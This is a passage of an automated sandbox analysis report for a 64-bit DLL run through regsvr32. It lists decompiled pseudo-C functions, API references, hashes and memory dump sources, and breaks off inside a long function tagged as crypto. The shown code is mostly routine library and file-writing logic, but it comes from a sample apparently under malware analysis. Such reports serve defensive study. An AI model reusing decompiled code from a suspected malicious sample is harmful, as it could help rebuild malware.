0x7ffe354e1d07
0x7ffe354e1d0e
0x7ffe354e1d1b
0x7ffe354e1d30
0x7ffe354e1d35
0x7ffe354e1d3f
0x7ffe354e1d47
0x7ffe354e1d51
0x7ffe354e1d59
0x7ffe354e1d60
0x7ffe354e1d6a
0x7ffe354e1d72
0x7ffe354e1d77
0x7ffe354e1d82
0x7ffe354e1d84
0x7ffe354e1d9b
0x7ffe354e1da2
0x7ffe354e1da7
0x7ffe354e1db1
0x7ffe354e1dce
0x7ffe354e1deb

APIs

Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E226B
Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E227C

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1D0E

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Part of subcall function 00007FFE354E1DF0: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E1E56
Part of subcall function 00007FFE354E1DF0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1E98
Part of subcall function 00007FFE354E1DF0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1EAC
Part of subcall function 00007FFE354E1DF0: char_traits.LIBCPMTD ref: 00007FFE354E1EDB

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E1D60
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1DA2
char_traits.LIBCPMTD ref: 00007FFE354E1DCE

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$Mtx_guardMtx_guard::~_char_traits$EmptyQueue::Structured
String ID:
API String ID: 3922470843-0
Opcode ID: 4dd965a4b7583710b631a5fedce481fd092c87ca81ad6a4c948c4480f87ae1a4
Instruction ID: 93e838c49b675a3b067ccad4ebaf32ad976172cebb7c2e418c8e28106afb433b
Opcode Fuzzy Hash: 4dd965a4b7583710b631a5fedce481fd092c87ca81ad6a4c948c4480f87ae1a4
Instruction Fuzzy Hash: 3121DD32A1CB8681DA14DB56E89516EE770FBC5FC0F611036EB8E47B7ACE6DD9009B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1DF0 Relevance: 6.1, APIs: 4, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FFE7FFE354E1DF0(intOrPtr* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				void* _t44;
				intOrPtr* _t49;
				intOrPtr* _t51;
				long long _t53;
				intOrPtr* _t54;
				intOrPtr _t61;

				_t49 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E21F0(_t44, __rax, _a16, _a24);
				E00007FFE7FFE354E2400(_t44, __rax, _a16, _a24, _a32);
				_a32 = _t49;
				E00007FFE7FFE354E2170(_t49, _a8);
				_t61 =  *0x3555a228; // 0xffffffffffffffff
				_t51 = _t61 -  *_t49;
				if (_t51 - _a32 > 0) goto 0x354e1e5b;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2170(_t51, _a8);
				_t53 =  *_t51 + _a32;
				_v40 = _t53;
				if (_a32 <= 0) goto 0x354e1eef;
				r8d = 0;
				if ((E00007FFE7FFE354E22B0(_t53, _a8, _v40) & 0x000000ff) == 0) goto 0x354e1eef;
				E00007FFE7FFE354E18D0(_t53, _a16);
				_t54 = _t53 + _a24;
				_v24 = _t54;
				E00007FFE7FFE354E18F0(_t54, _a8);
				_v32 = _t54;
				E00007FFE7FFE354E2170(_t54, _a8);
				E00007FFE7FFE354E11E0(_v32 +  *_t54, _v24, _a32);
				return E00007FFE7FFE354E23A0(_v32 +  *_t54, _a8, _v40);
			}

0x7ffe354e1df0
0x7ffe354e1df0
0x7ffe354e1df5
0x7ffe354e1dfa
0x7ffe354e1dff
0x7ffe354e1e12
0x7ffe354e1e26
0x7ffe354e1e2b
0x7ffe354e1e35
0x7ffe354e1e3d
0x7ffe354e1e47
0x7ffe354e1e4f
0x7ffe354e1e56
0x7ffe354e1e60
0x7ffe354e1e68
0x7ffe354e1e6d
0x7ffe354e1e78
0x7ffe354e1e7a
0x7ffe354e1e91
0x7ffe354e1e98
0x7ffe354e1e9d
0x7ffe354e1ea2
0x7ffe354e1eac
0x7ffe354e1eb1
0x7ffe354e1ebb
0x7ffe354e1edb
0x7ffe354e1ef8

APIs

Part of subcall function 00007FFE354E21F0: _Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E2217

Part of subcall function 00007FFE354E2170: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E217E

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FFE354E1E56
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1E98
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1EAC
char_traits.LIBCPMTD ref: 00007FFE354E1EDB

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityMtx_guardMtx_guard::~_Queue$EmptyQueue::Structuredchar_traits
String ID:
API String ID: 3679362534-0
Opcode ID: 980ae18186fb1950204f52d148c7e17274a98d6da8dd13de02d4ec76e85661ca
Instruction ID: df26c7d0041d39210c8c4dfc1ab0ae9fe88d497fa75100320fe38ea9ff37ac67
Opcode Fuzzy Hash: 980ae18186fb1950204f52d148c7e17274a98d6da8dd13de02d4ec76e85661ca
Instruction Fuzzy Hash: F221EB3261CB8681DA14DB56E89516EEB60FBC4FD0F101036FA8E47B7ACEBCD5509B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F1004 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FFE7FFE354F1004(signed int __edx, void* __edi, void* __rax, signed long long __rbx, intOrPtr* __rcx, long long __rbp, signed short* __r8, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				void* __rdi;
				void* __rsi;
				signed int _t41;
				signed long long _t62;
				short* _t67;
				signed int* _t68;
				intOrPtr* _t74;
				intOrPtr* _t76;
				void* _t84;
				void* _t88;
				signed short* _t89;
				void* _t91;
				void* _t94;
				signed short* _t97;
				void* _t99;
				void* _t101;
				void* _t103;
				void* _t106;
				void* _t107;

				_t97 = __r8;
				_t76 = __rcx;
				_a8 = __rbx;
				_a24 = __rbp;
				E00007FFE7FFE354F2DE0(__edx, __rax, __rbx, __rcx, _t84, _t88, _t91, __r8, _t99, _t101, _t103);
				_t62 =  *0x3555e008; // 0x393f49ce3de2
				_a5176 = _t62 ^ _t94 - __rax;
				_t74 = _t76;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t107 = _t106 + _t97;
				_t89 = _t97;
				 *_t74 =  *((intOrPtr*)(0x3555f940 + (__edx >> 6) * 8));
				 *((intOrPtr*)(_t74 + 8)) = 0;
				if (_t97 - _t107 >= 0) goto 0x354f1145;
				_t67 =  &_a40;
				if (_t89 - _t107 >= 0) goto 0x354f10ae;
				_t41 =  *_t89 & 0x0000ffff;
				if (_t41 != 0xa) goto 0x354f109a;
				 *_t67 = 0xd;
				_t68 = _t67 + 2;
				 *_t68 = _t41;
				if ( &(_t68[0]) -  &_a1744 < 0) goto 0x354f107c;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				E00007FFE7FFE354ED698();
				if (0 == 0) goto 0x354f113d;
				if (0 == 0) goto 0x354f112d;
				_v8 = _v8 & 0x00000000;
				r8d = 0;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x354f113d;
				if (0 + _a24 < 0) goto 0x354f10fa;
				 *((intOrPtr*)(_t74 + 4)) = __edi - r15d;
				goto 0x354f1071;
				 *_t74 = GetLastError();
				return E00007FFE7FFE354E3A70(_t39, 0, 0, _a5176 ^ _t94 - __rax);
			}

0x7ffe354f1004
0x7ffe354f1004
0x7ffe354f1004
0x7ffe354f1009
0x7ffe354f101b
0x7ffe354f1023
0x7ffe354f102d
0x7ffe354f1038
0x7ffe354f103e
0x7ffe354f104c
0x7ffe354f1050
0x7ffe354f1056
0x7ffe354f1068
0x7ffe354f106e
0x7ffe354f1071
0x7ffe354f1077
0x7ffe354f107f
0x7ffe354f1081
0x7ffe354f108c
0x7ffe354f1093
0x7ffe354f1096
0x7ffe354f109a
0x7ffe354f10ac
0x7ffe354f10ae
0x7ffe354f10b9
0x7ffe354f10c7
0x7ffe354f10da
0x7ffe354f10df
0x7ffe354f10e9
0x7ffe354f10f2
0x7ffe354f10f8
0x7ffe354f10fa
0x7ffe354f110f
0x7ffe354f1118
0x7ffe354f1123
0x7ffe354f112b
0x7ffe354f1132
0x7ffe354f1138
0x7ffe354f1143
0x7ffe354f1173

APIs

WriteFile.KERNEL32 ref: 00007FFE354F111B
GetLastError.KERNEL32 ref: 00007FFE354F113D

Strings

U, xrefs: 00007FFE354F10C7

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f98079f3c4aa1eb608d226a3e204fe1cd29820aa8a2509467dcded0e9b762ee9
Instruction ID: a113fcd11afc83e0556910f979f801d5ede31abddbb81aed1d65f7f83f978938
Opcode Fuzzy Hash: f98079f3c4aa1eb608d226a3e204fe1cd29820aa8a2509467dcded0e9b762ee9
Instruction Fuzzy Hash: 7241B632718B8695DB208F29E4483A96BA0FB88F94F814031EE4E87768DF3CE441D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F2EB4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FFE7FFE354F2EB4(intOrPtr* __rcx) {
				void* __rbx;
				void* _t3;
				void* _t7;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t13;

				_t3 = E00007FFE7FFE354E6B4C(_t7, __rcx, __rcx, _t10, _t11, _t12, _t13);
				if (( *(__rcx + 4) & 0x00000066) != 0) goto 0x354f2ed5;
				if ( *__rcx != 0xe06d7363) goto 0x354f2ed5;
				if (_t3 == 1) goto 0x354f2edb;
				return _t3;
			}

0x7ffe354f2ebd
0x7ffe354f2ec6
0x7ffe354f2ece
0x7ffe354f2ed3
0x7ffe354f2eda

APIs

__C_specific_handler.LIBVCRUNTIME ref: 00007FFE354F2EBD

Part of subcall function 00007FFE354E6B4C: _IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE354E6C0C
Part of subcall function 00007FFE354E6B4C: RtlUnwindEx.KERNEL32 ref: 00007FFE354E6C5B

Strings

f, xrefs: 00007FFE354F2EC2
csm, xrefs: 00007FFE354F2EC8

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: C_specific_handlerCurrentImageNonwritableUnwind
String ID: csm$f
API String ID: 1396615161-629598281
Opcode ID: 8a5be923c7cc1b99aa4a0096ba3a69dd8979e15323e2be363a2fe093e1ce8b04
Instruction ID: 5378e4bcedd4ad5b212357b689ad996cd827f05e27c2a8839a35d2ea546a5cfe
Opcode Fuzzy Hash: 8a5be923c7cc1b99aa4a0096ba3a69dd8979e15323e2be363a2fe093e1ce8b04
Instruction Fuzzy Hash: BDD05E71C0C34745FB3D2565144D2781D904F1CF25E6A8430CE29043A66E1D98D06601

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F3ED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FFE354F3F22
RegisterClassExW.USER32 ref: 00007FFE354F3F59

Strings

P, xrefs: 00007FFE354F3ED9

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: P
API String ID: 1693014935-3110715001
Opcode ID: 29bdbaf3f29e2b1f60e2da6c671781d039cfe66c367808efb662ff8ab2e4e8d5
Instruction ID: 9d2ae4942a0f05d4031b96dba14214472d097f6043fbba00e1e3aadf3f36bdca
Opcode Fuzzy Hash: 29bdbaf3f29e2b1f60e2da6c671781d039cfe66c367808efb662ff8ab2e4e8d5
Instruction Fuzzy Hash: D501B276519B8196E7608F00F89831BBBB4F788B48F600129E6CD46BA8DFBDD158CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E472C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354E472C(void* __eflags, void* __rax) {
				char _v40;
				void* _t6;
				void* _t11;
				void* _t12;
				char* _t14;
				void* _t16;

				E00007FFE7FFE354E45C0(__rax,  &_v40);
				_t14 =  &_v40;
				_t6 = E00007FFE7FFE354E6E00(_t12, _t14, 0x3555cbd8, _t16);
				asm("int3");
				_t11 =  !=  ?  *((void*)(_t14 + 8)) : "Unknown exception";
				return _t6;
			}

0x7ffe354e4735
0x7ffe354e4741
0x7ffe354e4746
0x7ffe354e474b
0x7ffe354e4758
0x7ffe354e475d

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE354E4735
_CxxThrowException.LIBVCRUNTIME ref: 00007FFE354E4746

Part of subcall function 00007FFE354E6E00: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFE354E472B), ref: 00007FFE354E6E7D
Part of subcall function 00007FFE354E6E00: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FFE354E472B), ref: 00007FFE354E6EBC

Strings

Unknown exception, xrefs: 00007FFE354E4751

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 245809459ad59a2729b59716ed244728fe2af4985c2eaed7b011566377c0e5b0
Instruction ID: 9a4d2991e69bdc31a8ba49457e394344dfadc0dce957ecad3eb24359ac86e941
Opcode Fuzzy Hash: 245809459ad59a2729b59716ed244728fe2af4985c2eaed7b011566377c0e5b0
Instruction Fuzzy Hash: 92D05E32A18B87A1DE10DB04E8883A86731FB80F0CFE04431D24E426B1DF6CE64AE340

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 3156, Parent PID: 1204COMMON

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	2.3%
Signature Coverage:	0%
Total number of Nodes:	900
Total number of Limit Nodes:	7

Executed Functions

Function 00007FFE354F3FB0 Relevance: 2283.0, APIs: 11, Strings: 1292, Instructions: 2747
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 28%

			E00007FFE7FFE354F3FB0(void* __edx, void* __edi, void* __esp, signed int* __rbx, long long __rcx, long long __rdx, void* __rdi, void* __rsi, long long __r8, long long _a8, long long _a16, long long _a24) {
				signed long long _v24;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v389;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v437;
				char _v438;
				char _v439;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v457;
				char _v458;
				char _v459;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				char _v478;
				char _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v497;
				char _v498;
				char _v499;
				char _v500;
				char _v501;
				char _v502;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v517;
				char _v518;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v541;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v621;
				char _v622;
				char _v623;
				char _v624;
				char _v625;
				char _v626;
				char _v627;
				char _v628;
				char _v629;
				char _v630;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v637;
				char _v638;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v645;
				char _v646;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v669;
				char _v670;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v681;
				char _v682;
				char _v683;
				char _v684;
				char _v685;
				char _v686;
				char _v687;
				char _v688;
				char _v689;
				char _v690;
				char _v691;
				char _v692;
				char _v693;
				char _v694;
				char _v695;
				char _v696;
				char _v697;
